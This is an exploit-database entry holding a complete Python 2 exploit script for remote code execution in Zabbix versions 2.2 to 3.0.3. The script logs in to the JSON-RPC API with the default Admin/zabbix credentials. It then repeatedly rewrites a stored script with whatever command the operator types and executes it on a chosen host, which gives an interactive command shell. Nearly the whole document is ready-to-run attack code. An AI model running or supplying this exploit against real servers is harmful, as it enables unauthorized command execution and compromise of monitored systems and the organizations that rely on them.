Zabbix 2.2 < 3.0.3 - API JSON-RPC Remote Code Execution
#!/usr/bin/env python # -*- coding: utf-8 -*- # Exploit Title: Zabbix RCE with API JSON-RPC # Date: 06-06-2016 # Exploit Author: Alexander Gurin # Vendor Homepage: http://www.zabbix.com # Software Link: http://www.zabbix.com/download.php # Version: 2.2 - 3.0.3 # Tested on: Linux (Debian, CentOS) # CVE : N/A import requests import json import readline ZABIX_ROOT = 'http://192.168.66.2' ### Zabbix IP-address url = ZABIX_ROOT + '/api_jsonrpc.php' ### Don't edit login = 'Admin' ### Zabbix login password = 'zabbix' ### Zabbix password hostid = '10084' ### Zabbix hostid ### auth payload = { "jsonrpc" : "2.0", "method" : "user.login", "params": { 'user': ""+login+"", 'password': ""+password+"", }, "auth" : None, "id" : 0, } headers = { 'content-type': 'application/json', } auth = requests.post(url, data=json.dumps(payload), headers=(headers)) auth = auth.json() while True: cmd = raw_input('\033[41m[zabbix_cmd]>>: \033[0m ') if cmd == "" : print "Result of last command:" if cmd == "quit" : break ### update payload = { "jsonrpc": "2.0", "method": "script.update", "params": { "scriptid": "1", "command": ""+cmd+"" }, "auth" : auth['result'], "id" : 0, } cmd_upd = requests.post(url, data=json.dumps(payload), headers=(headers)) ### execute payload = { "jsonrpc": "2.0", "method": "script.execute", "params": { "scriptid": "1", "hostid": ""+hostid+"" }, "auth" : auth['result'], "id" : 0, } cmd_exe = requests.post(url, data=json.dumps(payload), headers=(headers)) cmd_exe = cmd_exe.json() print cmd_exe["result"]["value"] |